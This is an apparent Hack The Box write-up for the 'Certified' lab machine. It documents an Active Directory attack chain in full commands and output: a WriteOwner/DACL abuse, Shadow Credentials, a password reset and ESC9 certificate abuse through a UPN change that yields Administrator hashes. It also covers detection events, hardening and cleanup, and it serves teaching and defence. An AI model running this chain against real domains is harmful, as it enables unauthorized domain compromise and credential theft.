Skip to content

HTB Certified writeup

A technical writeup for educational purposes, covering only an authorized, isolated Hack The Box lab.

Certified is a Windows Medium box that chains Active Directory (AD) ACL permissions on a Domain Controller to reach a certificate template configuration. Using the supplied credentials for judith.mader, I enumerated AD and gained membership in the Management group through WriteOwner. I then used GenericWrite over management_svc for Shadow Credentials and confirmed the user flag through WinRM. Finally, I combined management_svc’s GenericAll over ca_operator, the ESC9 conditions of the CertifiedAuthentication template, and a UPN change to connect through WinRM as Administrator.

This writeup distinguishes “recorded facts,” which can be confirmed directly from commands and output, from “technical interpretation,” which explains the underlying mechanisms. It does not assert anything for which no command or output was recorded.

ItemValue
BoxCertified
PlatformHack The Box
OSWindows
DifficultyMedium
judith.mader / judith09
|
| BloodHound: WriteOwner over Management
| owner change -> DACL ACE addition -> group membership
v
judith.mader in Management
|
| Management's GenericWrite over management_svc
| Shadow Credentials (msDS-KeyCredentialLink)
v
management_svc NT hash / WinRM
|
| GenericAll over ca_operator
| password reset and UPN change
v
ca_operator with UPN administrator
|
| Enroll in CertifiedAuthentication (ESC9 conditions)
| certificate authentication as administrator
v
Administrator NT hash / WinRM
|
| read C:\Users\Administrator\Desktop\root.txt
v
Administrator flag [REDACTED]

Each arrow corresponds to an operation confirmed by the command output below. Targeted Kerberoasting was the first option considered for management_svc. Although the TGS was obtained, the recorded dictionary attack did not yield credentials, so it is not part of the main path.

ItemValue
HostDC01.certified.htb
Domaincertified.htb
Initial credentialsjudith.mader:judith09

The following entry was used for name resolution.

10.129.231.186 DC01.certified.htb certified.htb DC01

The initial scan covered all TCP ports.

Terminal window
nmap -sS -A -p- --min-rate 10000 10.129.231.186 > certified.nmap

The output relevant to the decision was as follows.

Nmap scan report for 10.129.231.186
Host is up (0.37s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb, Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb, Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb, Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: DC01; OS: Windows
Host script results:
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 7h00m00s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required

The points to note are:

  • The combination of 53/88/389/445/464/3268/9389 and the domain name returned by LDAP indicate that the target is an AD Domain Controller.
  • 5985/tcp is WinRM, a potential connection point once valid credentials or a hash are obtained.
  • Because SMB signing is required, the supplied credentials give a reason to prioritize LDAP/Kerberos/ACL enumeration over an SMB relay path.
  • The time difference was seven hours, which could cause Kerberos authentication failures. I synchronized the attacking machine’s clock below.
Terminal window
sudo systemctl stop systemd-timesyncd
sudo ntpdate certified.htb
2026-07-16 06:02:28.268490 (+0900) +25201.138812 +/- 0.091904 certified.htb 10.129.231.186 s1 no-leap
CLOCK: time stepped by 25201.138812

This output shows a correction of approximately 25,201 seconds. It established the conditions needed for the subsequent Kerberos operations.

I first checked whether the starting credentials worked over SMB, and which AD principals could be found through shares and RID enumeration.

Terminal window
nxc smb dc01.certified.htb -u judith.mader -p judith09 --shares --rid-brute
SMB 10.129.231.186 445 DC01 [+] certified.htb\judith.mader:judith09
SMB 10.129.231.186 445 DC01 Share Permissions Remark
SMB 10.129.231.186 445 DC01 IPC$ READ Remote IPC
SMB 10.129.231.186 445 DC01 NETLOGON READ Logon server share
SMB 10.129.231.186 445 DC01 SYSVOL READ Logon server share
...
SMB 10.129.231.186 445 DC01 1103: CERTIFIED\judith.mader (SidTypeUser)
SMB 10.129.231.186 445 DC01 1104: CERTIFIED\Management (SidTypeGroup)
SMB 10.129.231.186 445 DC01 1105: CERTIFIED\management_svc (SidTypeUser)
SMB 10.129.231.186 445 DC01 1106: CERTIFIED\ca_operator (SidTypeUser)

This confirmed successful authentication, readable domain shares, and three principals that later appear in the chain. At this point, however, no permissions on ADMIN$ or C$ were shown, so the path was not based on direct access to administrative shares.

Next, I enumerated users and groups through LDAP.

Terminal window
nxc ldap dc01.certified.htb -u judith.mader -p judith09 --users --group
LDAP 10.129.231.186 389 DC01 [+] certified.htb\judith.mader:judith09
LDAP 10.129.231.186 389 DC01 [*] Enumerated 9 domain users: certified.htb
LDAP 10.129.231.186 389 DC01 management_svc 2024-05-14 00:30:51 0
LDAP 10.129.231.186 389 DC01 ca_operator 2024-05-14 00:32:03 0
...
LDAP 10.129.231.186 389 DC01 Remote Management Users 1
LDAP 10.129.231.186 389 DC01 Certificate Service DCOM Access 1
LDAP 10.129.231.186 389 DC01 Management 1

This confirmed the existence of management_svc, ca_operator, and Management, as well as Remote Management Users, which could be relevant to WinRM access. This output alone did not identify who was the group’s sole member; I checked that through the later BloodHound relationships and successful WinRM connection.

Active Directory Relationships and BloodHound Analysis

Section titled “Active Directory Relationships and BloodHound Analysis”

To collect AD ACLs and certificate objects, I ran the following command.

Terminal window
rusthound-ce -d certified.htb -f dc01.certified.htb -u judith.mader -p judith09 -c All --zip
[INFO] Connected to CERTIFIED.HTB Active Directory!
[INFO] All data collected for NamingContext DC=certified,DC=htb
[INFO] MachineAccountQuota: 10
[INFO] Found 12 enabled certificate templates
[INFO] 10 users parsed!
[INFO] 61 groups parsed!
[INFO] 1 computers parsed!
[INFO] 1 enterprisecas parsed!
[INFO] 34 certtemplates parsed!

The record of examining the collected data in BloodHound shows the following relationships.

judith.mader --WriteOwner--> Management
Management --GenericWrite--> management_svc
management_svc --GenericAll--> ca_operator
management_svc --MemberOf--> Remote Management Users
ca_operator --Enroll--> CertifiedAuthentication

The three write permissions above and the final Enroll permission form the main path. The record also shows that ca_operator belongs to Domain Users and Authenticated Users, and that Authenticated Users has Enroll on the CA. That alone does not imply escalation to Administrator. The template’s permissions and settings must be assessed separately.

TermTechnical interpretationMeaning on this box
OwnerThe owner recorded in an object’s security descriptor. An owner can usually change the object’s DACL, but cannot automatically change ordinary attributes.judith.mader could become the owner of Management, but the membership check immediately afterward showed that she was not a member of Management.
DACLA Discretionary ACL: a set of allow/deny ACEs on an object that specifies who is allowed to do what.After becoming the owner, Judith added a GenericAll ACE for herself to the Management DACL.
ACEAn individual access control rule in a DACL, consisting of a principal, an allow/deny decision, and permissions.The added ACE gave judith.mader GenericAll over Management.
WriteOwnerPermission to change the owner. It does not itself grant the right to change the DACL or the member attribute.This was the starting point in BloodHound; set owner succeeded.
WriteDaclPermission to change the DACL, including adding and removing ACEs. It is separate from writing ordinary attributes.In this record, an ACE was added to the DACL after becoming the Owner.
GenericWriteA general permission to modify writable attributes of the target object. Attribute-specific protections and extended rights must be evaluated separately.Through Management, I could update management_svc’s servicePrincipalName and msDS-KeyCredentialLink.
GenericAllBroad control over the target object, potentially allowing attribute changes, password resets, and other consequential operations.management_svc had this over ca_operator and could change its password and UPN.
Permissions through a groupWhen a user joins a group, ACEs granted to the group are also evaluated for that user during authorization.After Judith joined Management, operations using the group’s GenericWrite succeeded.

Changing the Owner and DACL, then joining the group

Section titled “Changing the Owner and DACL, then joining the group”

I confirmed that WriteOwner was actually available by changing state: the owner of the AD object.

Terminal window
bloodyad --host dc01.certified.htb -d certified.htb -u judith.mader -p judith09 set owner Management judith.mader
[+] Old owner S-1-5-21-729746778-2675978091-3820388244-512 is now replaced by judith.mader on Management

This output shows only that the Owner changed. An immediate membership check still did not show Management.

Terminal window
bloodyAD \
--host dc01.certified.htb \
-d certified.htb \
-u judith.mader \
-p 'judith09' \
get membership judith.mader
distinguishedName: CN=Users,CN=Builtin,DC=certified,DC=htb
sAMAccountName: Users
distinguishedName: CN=Domain Users,CN=Users,DC=certified,DC=htb
sAMAccountName: Domain Users

This is an important distinction: being the Owner and being a group member are different. Next, as the owner, I added a GenericAll ACE for Judith to the DACL and used that permission to add her to the group.

Terminal window
bloodyAD \
--host dc01.certified.htb \
-d certified.htb \
-u judith.mader \
-p 'judith09' \
add genericAll Management judith.mader
[+] judith.mader has now GenericAll on Management
Terminal window
bloodyAD \
--host dc01.certified.htb \
-d certified.htb \
-u judith.mader \
-p 'judith09' \
add groupMember Management judith.mader
[+] judith.mader added to Management

A second check showed Management.

distinguishedName: CN=Management,CN=Users,DC=certified,DC=htb
objectSid: S-1-5-21-729746778-2675978091-3820388244-1104
sAMAccountName: Management

The order matters because the Owner, a DACL ACE, and the member attribute are three separate changes. An ACE limited to the member attribute could also have been designed instead of GenericAll, but no such operation was recorded.

Targeted Kerberoasting did not yield credentials

Section titled “Targeted Kerberoasting did not yield credentials”

I confirmed that Management’s GenericWrite was effective by adding an SPN to management_svc. This changed state.

Terminal window
bloodyad -d certified.htb --host dc01.certified.htb -u judith.mader -p judith09 set object management_svc servicePrincipalName -v 'http/management-test.certified.htb'
[+] management_svc's servicePrincipalName has been updated

Any authenticated user can request a TGS for an account with an SPN. I therefore obtained a TGS for management_svc corresponding to the added SPN.

Terminal window
nxc ldap dc01.certified.htb -u judith.mader -p judith09 --kerberoasting management_svc.hash
LDAP 10.129.231.186 389 DC01 [*] Total of records returned 1
LDAP 10.129.231.186 389 DC01 [*] sAMAccountName: management_svc, memberOf: ['CN=Management,CN=Users,DC=certified,DC=htb', 'CN=Remote Management Users,CN=Builtin,DC=certified,DC=htb']
LDAP 10.129.231.186 389 DC01 $krb5tgs$23$*management_svc$CERTIFIED.HTB$certified.htb\management_svc*$3f9e...03d7d4

The memberOf value in the output supports that management_svc belongs to Remote Management Users. The TGS request succeeded, but the following dictionary attack ended with Recovered: 0/1.

Terminal window
hashcat management_svc.hash /usr/share/wordlists/rockyou.txt
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Status...........: Exhausted
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)

Kerberoasting itself did not fail: the TGS hash was obtained, but this dictionary did not reveal the password. There is no record of trying additional wordlists, rules, or mask attacks, so I do not assume any further attempt.

Moving to management_svc with Shadow Credentials

Section titled “Moving to management_svc with Shadow Credentials”

As another way to use GenericWrite, I added a Key Credential to management_svc’s msDS-KeyCredentialLink.

Terminal window
bloodyad -d certified.htb --host dc01.certified.htb -u judith.mader -p judith09 add shadowCredentials management_svc
[+] KeyCredential generated with following sha256 of RSA key: c2ae3c55c2d0017c51510765a7bd108e5de4a956cd36f04aad02affb6333005b
[+] TGT stored in ccache file management_svc_X5.ccache
NT: a091c1832bcdd4677c28b5a6a1295584

Technically, associating a Key Credential with the target account enables certificate-based Kerberos authentication with that key. Here, the same output shows both a saved TGT and the NT hash for management_svc. This explains why I could proceed to authentication material for WinRM without cracking the TGS password.

I connected through WinRM with the management_svc hash and confirmed the location and contents of the user flag.

Terminal window
evil-winrm-py -i dc01.certified.htb -u management_svc -H a091c1832bcdd4677c28b5a6a1295584
[*] Connecting to 'dc01.certified.htb:5985' as 'management_svc'
evil-winrm-py PS C:\Users\management_svc\Documents> cd ..\Desktop
evil-winrm-py PS C:\Users\management_svc\Desktop> ls
Directory: C:\Users\management_svc\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 7/15/2026 1:57 PM 34 user.txt
evil-winrm-py PS C:\Users\management_svc\Desktop> type user.txt
[REDACTED]

Because the output shows a successful WinRM connection and the contents of user.txt, initial access as management_svc is confirmed.

AD CS Investigation and Privilege Escalation

Section titled “AD CS Investigation and Privilege Escalation”

I used the management_svc --GenericAll--> ca_operator relationship recorded in BloodHound to change ca_operator’s password.

Terminal window
bloodyad -d certified.htb --host dc01.certified.htb -u management_svc -p :a091c1832bcdd4677c28b5a6a1295584 set password ca_operator 'HappyPwn2026!'
[+] Password changed successfully!

I confirmed that the new password worked over LDAP.

Terminal window
nxc ldap dc01.certified.htb -u ca_operator -p 'HappyPwn2026!'
LDAP 10.129.231.186 389 DC01 [+] certified.htb\ca_operator:HappyPwn2026!

This check shows that the changed ca_operator credentials were usable, rather than merely that an AD attribute could be written.

Evaluating the CA and certificate template separately

Section titled “Evaluating the CA and certificate template separately”

The CA is the AD CS issuer of certificates. A template is an AD object that defines who may request a certificate and which subject, EKU, and extensions it will contain. Enroll permission on the CA does not directly enable authentication abuse unless the template is enabled, the requester has Enroll on the template, and it has an authentication EKU.

I examined the CA and templates as ca_operator.

Terminal window
certipy find -u ca_operator -p HappyPwn2026! -dc-ip 10.129.231.186 -target certified.htb -vulnerable -stdout
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Retrieving CA configuration for 'certified-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'certified-DC01-CA'
[!] Error checking web enrollment: timed out
...
CA Name : certified-DC01-CA
DNS Name : DC01.certified.htb
Web Enrollment
HTTP : False
HTTPS : False
Request Disposition : Issue
Permissions
Enroll : CERTIFIED.HTB\Authenticated Users
Template Name : CertifiedAuthentication
Display Name : Certified Authentication
Certificate Authorities : certified-DC01-CA
Enabled : True
Client Authentication : True
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireUpn
SubjectRequireDirectoryPath
Enrollment Flag : PublishToDs
AutoEnrollment
NoSecurityExtension
Extended Key Usage : Server Authentication
Client Authentication
Requires Manager Approval : False
Authorized Signatures Required : 0
Enrollment Rights : CERTIFIED.HTB\operator ca
...
[+] User Enrollable Principals : CERTIFIED.HTB\operator ca
[!] Vulnerabilities
ESC9 : Template has no security extension.

The first Remote Registry connection and the web enrollment check timed out, but retrieval of the CA configuration through RRP and template enumeration succeeded. Even though web enrollment was disabled, the subsequent request through RPC succeeded, so HTTP enrollment was not required.

The cn of ca_operator is operator ca, and the output lists CERTIFIED.HTB\operator ca as the template’s Enroll principal. This helps associate the template permission with the target account.

Matching the ESC9 conditions to the record

Section titled “Matching the ESC9 conditions to the record”

ESC9 is a classification based on a template’s NoSecurityExtension setting, which omits the security extension that strongly binds a SID to the certificate. That flag alone, however, does not establish privilege escalation. I checked the following aspects separately for this path.

Required considerationObserved resultAssessment
CA can issue the templateCertifiedAuthentication is associated with certified-DC01-CA and Enabled : TrueConfirmed
Requester has Enroll on the templateEnrollment Rights and User Enrollable Principals contain CERTIFIED.HTB\operator caConfirmed
EKU permits authenticationClient Authentication : True and Client Authentication in the EKU listConfirmed
Approval or signatures do not block issuanceRequires Manager Approval : False and Authorized Signatures Required : 0Confirmed
No strong SID bindingEnrollment Flag contains NoSecurityExtension, and Certipy reports ESC9Confirmed
Relationship between the certificate subject/SAN and AD attributesEnrollee Supplies Subject : False and SubjectAltRequireUpn; I later changed ca_operator’s UPN before requesting the certificateConfirmed
Changed UPN can authenticate as AdministratorThe issued certificate obtained a TGT and NT hash for administrator@certified.htbConfirmed on this path

The last row shows from the successful result that the effective conditions for accepting certificate mapping were met in this environment. There is no record of directly enumerating the Domain Controller’s strong certificate mapping configuration value itself.

Certipy classified the CertifiedAuthentication template as ESC9 because its Enrollment Flag includes NoSecurityExtension.

Certipy itself also printed “Other prerequisites may be required.” Whether ESC9 can actually be exploited depends on factors such as the KDC’s certificate mapping settings. Because certificate authentication succeeded in this test, the required conditions were met in this lab environment. I did not, however, obtain evidence directly confirming the KDC configuration itself.

Temporarily changing the UPN, requesting a certificate, and authenticating as Administrator

Section titled “Temporarily changing the UPN, requesting a certificate, and authenticating as Administrator”

I read ca_operator’s attributes before the request. Recording the original UPN here provided the basis for restoring it later.

Terminal window
certipy account \
-u 'management_svc@certified.htb' -hashes :a091c1832bcdd4677c28b5a6a1295584 \
-dc-ip '10.129.231.186' -user 'ca_operator' \
read
[*] Reading attributes for 'ca_operator':
cn : operator ca
distinguishedName : CN=operator ca,CN=Users,DC=certified,DC=htb
sAMAccountName : ca_operator
userPrincipalName : ca_operator@certified.htb
userAccountControl : 66048

Using management_svc’s GenericAll, I temporarily changed this UPN to administrator.

Terminal window
certipy account \
-u 'management_svc@certified.htb' -hashes :a091c1832bcdd4677c28b5a6a1295584 \
-dc-ip '10.129.231.186' -upn 'administrator' \
-user 'ca_operator' update
[*] Updating user 'ca_operator':
userPrincipalName : administrator
[*] Successfully updated 'ca_operator'

The template does not allow the requester to specify an arbitrary subject. This path uses the combination of SubjectAltRequireUpn, which reflects the account’s UPN in the requested certificate, and NoSecurityExtension, which leaves the object SID unbound.

With ca_operator in that state, I requested a certificate over RPC.

Terminal window
certipy req \
-u 'ca_operator@certified.htb' -p 'HappyPwn2026!' \
-dc-ip '10.129.231.186' \
-target 'dc01.certified.htb' -ca 'certified-DC01-CA' \
-template 'CertifiedAuthentication'
[*] Requesting certificate via RPC
[*] Request ID is 6
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Saving certificate and private key to 'administrator.pfx'

The three lines showing the request ID, UPN, and certificate without a SID are the actual issuance result needed for ESC9. I then restored the UPN to the recorded value.

Terminal window
certipy account \
-u 'management_svc@certified.htb' -hashes :a091c1832bcdd4677c28b5a6a1295584 \
-dc-ip '10.129.231.186' -upn 'ca_operator@certified.htb' \
-user 'ca_operator' update
[*] Updating user 'ca_operator':
userPrincipalName : ca_operator@certified.htb
[*] Successfully updated 'ca_operator'

Authentication with the issued certificate succeeded.

Terminal window
certipy auth \
-dc-ip '10.129.231.186' -pfx 'administrator.pfx' \
-username 'administrator' -domain 'certified.htb'
[*] Certificate identities:
[*] SAN UPN: 'administrator'
[*] Using principal: 'administrator@certified.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34

The Got TGT message and Administrator NT hash confirm that the certificate was actually usable for Kerberos authentication as Administrator.

With the obtained Administrator hash, I connected through WinRM and confirmed the location and contents of the root flag.

Terminal window
evil-winrm-py -i dc01.certified.htb -u administrator -H 0d5b49608bbce1751f708748f67e2d34
[*] Connecting to 'dc01.certified.htb:5985' as 'administrator'
evil-winrm-py PS C:\Users\Administrator\Documents> cd ..\Desktop
evil-winrm-py PS C:\Users\Administrator\Desktop> ls
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 7/15/2026 1:57 PM 34 root.txt
evil-winrm-py PS C:\Users\Administrator\Desktop> type root.txt
[REDACTED]

The output shows the WinRM connection as Administrator and the contents of C:\Users\Administrator\Desktop\root.txt, confirming final access.

The changes to the Management owner, DACL, and member; the management_svc SPN and Key Credential; and the ca_operator password and UPN all changed AD objects or attributes. LDAP traffic and Directory Service changes on the Domain Controller are therefore monitoring targets.

  • With Audit Directory Service Changes and an appropriate SACL on the target object enabled, Security Event ID 5136 may record attribute changes. Correlate member, servicePrincipalName, msDS-KeyCredentialLink, and userPrincipalName individually.
  • With Audit Directory Service Access and a SACL configured, Security Event ID 4662 can provide supporting visibility into directory object access. Without a SACL, these events may not be recorded.
  • Track owner and DACL changes as security descriptor changes under the same auditing prerequisites. Preserve differences in the owner as well as the DACL, and detect broad ACEs granted to individual principals such as Judith on Management.
  • A password reset for ca_operator can generate Security Event ID 4724 if Audit User Account Management is enabled. The original password is not in the record, so an investigation must correlate the actor, source, and time of the change with authentication logs.

A single event is hard to distinguish from a legitimate help desk password reset or routine group administration. Particularly concerning is a rapid sequence from the same source: owner change -> DACL ACE addition -> self-addition to a group -> SPN or msDS-KeyCredentialLink write. Identity monitoring tools should detect an unusual principal becoming the owner of a privileged group, the addition of Shadow Credentials, and the short sequence as one chain of activity.

  • A targeted Kerberoasting TGS request may appear as Security Event ID 4769 on the KDC. Correlate the request for the newly created http/management-test.certified.htb SPN with the SPN attribute change around the same time.
  • Both Shadow Credentials and certificate-based certipy auth obtained TGTs. Correlate KDC TGT issuance logs, the authentication method shortly after the change, and the source. The auditing configuration determines how much detail about authentication methods and certificates is retained, so this record does not support claims about specific field values.
  • The certificate request used RPC to the CA and is separate from web enrollment. If Audit Certification Services is enabled, correlate Security Event ID 4886 (request received) and 4887 (issued) with Request ID 6, the requester, the CertifiedAuthentication template, and the time of the UPN change.
  • WinRM uses TCP/5985. The destination may show a successful logon (Security Event ID 4624) and WinRM Operational logs; EDR may show the WinRM provider host and its child PowerShell activity. Because the LDAP tools run on the attacking machine, EDR on the DC alone may not show the source process of the owner and DACL changes.

For defense, avoid delegating WriteOwner, WriteDacl, GenericWrite, or GenericAll over high-value groups and service accounts; prioritize changes to msDS-KeyCredentialLink and UPNs; and do not allow NoSecurityExtension on authentication templates. Minimize template Enroll permissions independently of CA permissions, and inventory templates with the Client Authentication EKU in particular.

Immediately after changing the owner of Management to Judith, the membership check showed only Users and Domain Users. Ownership provided a way to change the DACL; it did not itself change the group’s member attribute. This output shows that adding an ACE to the DACL and running add groupMember are separate operations.

Adding the SPN and obtaining the TGS hash succeeded, but Hashcat with rockyou.txt ended with Exhausted / Recovered: 0/1. This does not mean that no password exists or that no other attack could ever crack it. Because the recorded method could not advance the path, I switched to Shadow Credentials through the already-writable msDS-KeyCredentialLink.

During CA configuration retrieval, the first Remote Registry connection failed and web enrollment timed out. The same examination still obtained CA and template information, and the later certipy req succeeded over RPC. Using the RPC route shown explicitly in the output was more reasonable than retrying HTTP/HTTPS web enrollment.

The following are the recorded state changes and required restoration steps. Apart from the UPN, there is no output showing that restoration was performed or verified. They are therefore not marked as cleaned up.

TargetRecorded changeAction needed to restoreVerification status
Attacking machine’s clock synchronizationStopped systemd-timesyncd and corrected the clock by 25,201 seconds with ntpdateRestart normal time synchronization and resynchronize with the correct time source.No restoration recorded
Management ownerChanged former owner S-1-5-21-729746778-2675978091-3820388244-512 to judith.maderRestore the original owner and check the owner in the security descriptor. RID 512 maps to CERTIFIED\Domain Admins in the enumeration output.Not recorded
Management DACLAdded a GenericAll ACE for JudithRemove only the added ACE for Judith and check the DACL difference.Not recorded
Management memberAdded JudithRemove Judith from Management and check recursive membership.Not recorded
management_svc SPNSet http/management-test.certified.htbCheck the previous servicePrincipalName values before removing only this value.Previous value and restoration not recorded
management_svc Key CredentialGenerated the SHA-256 key c2ae3c55c2d0017c51510765a7bd108e5de4a956cd36f04aad02affb6333005b and added Shadow CredentialsRemove only the added msDS-KeyCredentialLink value and check the remaining Key Credentials.Not recorded
ca_operator passwordReset to HappyPwn2026!The original password is unknown. Reset again through an authorized administrative procedure and notify the user.Original value and restoration not recorded
ca_operator UPNca_operator@certified.htb -> administrator -> ca_operator@certified.htbThe final update output shows that restoring the original string succeeded. Also perform a final directory read to verify it.Restoration command succeeded; no independent read recorded
Remote RegistryDuring CA examination, Certipy printed Service should be starting nowCheck whether the service actually started and whether it was returned to its original startup state.Neither startup nor restoration recorded
CA request ID 6Issued a certificate with the Administrator UPN from CertifiedAuthenticationA CA administrator should revoke request ID 6 and track the issued certificate.Not recorded
Authentication material on the attacking machineCreated management_svc_X5.ccache, administrator.pfx, and administrator.ccacheDelete or securely retain the private key, credential caches, and stored hashes.Neither deletion nor retention recorded
Principal / artifactSourceFirst useAccess obtained
judith.mader:judith09Supplied starting credentialsSMB/LDAP enumerationAD enumeration and changes to Management owner, DACL, and member
management_svc NT hash a091c1832bcdd4677c28b5a6a1295584Output of add shadowCredentials management_svcevil-winrm-pyRead the user flag as management_svc over WinRM and controlled ca_operator
ca_operator:HappyPwn2026!Password reset by management_svcLDAP authentication, certipy find, and certipy reqCertificate request against CertifiedAuthentication
administrator.pfxCreated by certificate request ID 6certipy authObtained the Administrator TGT and NT hash
Administrator NT hash 0d5b49608bbce1751f708748f67e2d34Output of certipy authevil-winrm-pyAdministrator WinRM connection and reading the root flag
C:\Users\management_svc\Desktop\user.txtEnumerated through WinRMtype user.txtContents: [REDACTED]
C:\Users\Administrator\Desktop\root.txtEnumerated through WinRMtype root.txtContents: [REDACTED]

I also obtained the Kerberos TGS hash for management_svc, but the recorded attempt with rockyou.txt did not yield the password. No unacquired credential should be added to the table.

  • Recognize an AD Domain Controller from its ports, LDAP domain, SMB signing, and time difference.
  • Treat Kerberos clock synchronization, SPNs, TGSs, obtaining a hash through Kerberoasting, and cracking a password as distinct steps.
  • Distinguish between Owner, DACL, ACE, WriteOwner, WriteDacl, GenericWrite, GenericAll, and authorization through group membership.
  • Understand Shadow Credentials through msDS-KeyCredentialLink and why cleanup is necessary after adding them.
  • Evaluate the CA and certificate template separately, considering Enroll permissions, EKUs, how the subject/SAN is generated, the security extension, and whether account attributes can be changed.
  • Do not treat ESC9 as merely a Certipy label; verify the template settings, UPN change, issuance result, and actual success of Kerberos authentication.
  • Correlate DC audits, CA audits, Kerberos, WinRM, and identity monitoring in sequence instead of viewing each event alone.

The key lesson of this box is to check BloodHound relationships at each boundary of owner, DACL, group membership, attribute writes, and authentication method, using output that confirms success, rather than interpreting them as a single all-purpose permission. For AD CS in particular, CA Enroll alone is insufficient: template Enroll, the Client Authentication EKU, NoSecurityExtension, a changeable account UPN, and successful certificate authentication must all be verified together. Because this path makes many state changes, recording original values and whether cleanup occurred also matters for both reproducibility and defense.